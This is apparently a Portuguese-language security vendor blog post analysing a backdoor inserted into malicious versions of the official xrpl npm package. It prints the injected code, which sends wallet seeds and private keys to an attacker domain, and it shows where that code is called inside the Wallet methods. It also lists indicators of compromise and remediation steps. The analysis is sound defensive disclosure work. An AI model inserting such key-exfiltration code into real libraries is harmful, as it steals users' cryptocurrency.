Aikido

Ataque à cadeia de suprimentos XRP: Pacote oficial do NPM infectado com backdoor de roubo de cripto

Escrito por
Charlie Eriksen

Em 21 de abril, às 20:53 GMT+0, nosso sistema, Aikido Intel, começou a nos alertar sobre cinco novas versões do pacote xrpl. É o SDK oficial para o XRP Ledger, com mais de 140.000 downloads semanais. Confirmamos rapidamente que o pacote NPM oficial do XPRL (Ripple) foi comprometido por atacantes sofisticados que inseriram um backdoor para roubar chaves privadas de criptomoedas e obter acesso a carteiras de criptomoedas. Este pacote é usado por centenas de milhares de aplicações e sites, tornando-o um ataque de supply chain potencialmente catastrófico para o ecossistema de criptomoedas.

Esta é uma análise técnica de como descobrimos o ataque.

O pacote xrpl no npm

Novos pacotes lançados

O usuário mukulljangid havia lançado cinco novas versões da biblioteca a partir de 21 de abril, 20:53 GMT+0:

Pacotes maliciosos

O interessante é que estas versões não correspondem aos lançamentos oficiais, como visto no GitHub, onde o último lançamento é 4.2.0:

O último lançamento do GitHub quando os pacotes foram lançados.

O fato de esses pacotes terem aparecido sem um lançamento correspondente no GitHub é muito suspeito.

O código misterioso

Nosso sistema detectou um código estranho nesses novos pacotes. Veja o que ele identificou no src/index.ts arquivo na versão 4.2.4 (Que é marcado como mais recente):

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

Tudo parece normal até o final. O que é isso? checkValidityOfSeed função? E por que está chamando um domínio aleatório chamado 0x9c[.]xyz? Vamos descer a toca do coelho!

Qual o domínio?

Primeiro, analisamos o domínio para descobrir se ele era minimamente legítimo. Consultamos os detalhes do whois para ele:

Informações Whois para 0x9c[.]xyz

Isso não é um bom sinal. É um domínio novíssimo. Muito suspeito.

O que o código faz?

O código em si apenas define um método, mas não há chamadas imediatas a ele. Então investigamos se ele é usado em algum lugar. E sim, ele é!

Resultados da busca pela função maliciosa

Vemos que ele está sendo chamado em funções como o construtor para o Wallet classe (src/Wallet/index.ts), roubando chaves privadas assim que um objeto Wallet é instanciado:

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

E estas funções:

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

Por que tantas atualizações de versão?

Ao investigarmos esses pacotes, notamos que os dois primeiros pacotes lançados (4.2.1 e 4.2.2) eram diferentes dos outros. Fizemos um diff de 3 vias nas versões 4.2.0 (O que é legítimo), 4.2.1, e 4.2.2 para descobrir o que estava acontecendo. Aqui está o que observamos:

  • A partir de 4.2.1, o scripts e prettier a configuração foi removida do package.json
  • A primeira versão a inserir código malicioso em src/Wallet/index.js foi 4.2.2.
  • Ambos 4.2.1 e 4.2.2 continha um malicioso build/xrp-latest-min.js e build/xrp-latest.js.

Se compararmos 4.2.2 para 4.2.3 e 4.2.4, vemos mais alterações maliciosas. Anteriormente, apenas o código JavaScript empacotado havia sido modificado. Estas também incluíram as alterações maliciosas na versão TypeScript do código

  • As alterações de código mostradas anteriormente para src/index.ts.
  • A mudança de código malicioso para src/Wallet/index.ts.
  • Em vez de o código malicioso ter sido inserido manualmente nos arquivos construídos, o backdoor inserido em index.ts é chamado. 

Com isso, podemos ver que o atacante estava trabalhando ativamente no ataque, tentando diferentes formas de inserir o backdoor enquanto permanecia o mais oculto possível. Passando de inserir manualmente o backdoor no código JavaScript compilado, para inseri-lo no código TypeScript e depois compilá-lo para a versão construída.

Aikido Intel

Este malware foi detectado por Aikido Intel, o feed público de ameaças da Aikido que usa LLMs para monitorar gerenciadores de pacotes públicos como o NPM, a fim de identificar quando código malicioso é adicionado a pacotes novos ou existentes. Se você deseja ser protegido contra malware e vulnerabilidades não divulgadas, pode assinar o feed de ameaças Intel ou se inscrever no Aikido Security

Indicadores de Comprometimento 

Para determinar se você pode ter sido comprometido, aqui estão os indicadores que você pode usar:

Nome do pacote

  • xrpl

Versões do pacote

Verifique seu package.json e package-lock.json para estas versões:

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

Preste atenção se você tinha o pacote como uma dependência que não foi corrigida por um package lock file, ou estava usando um especificação de versão aproximada/compatível como ~4.2.0 ou ^4.2.0, como exemplos.

Se você acredita ter instalado qualquer um dos pacotes acima no período entre 21 de abril, 20:53 GMT+0 e 22 de abril, 13:00 GMT+0, inspecione seus logs de rede em busca de conexões de saída para o host abaixo:

Domínio

  • 0x9c[.]xyz

Remediação

Se você acredita que pode ter sido impactado, é importante assumir que qualquer seed ou chave privada processada pelo código foi comprometida. Essas chaves não devem mais ser usadas, e quaisquer ativos associados a elas devem ser movidos para outra carteira/chave imediatamente. Desde que o problema foi divulgado, a equipe xrpl lançou duas novas versões para substituir os pacotes comprometidos:

  • 4.2.5
  • 2.14.3
Compartilhar:

https://www.aikido.dev/blog/xrp-supplychain-attack-official-npm-package-infected-with-crypto-stealing-backdoor

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Assine para receber notícias sobre ameaças.

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.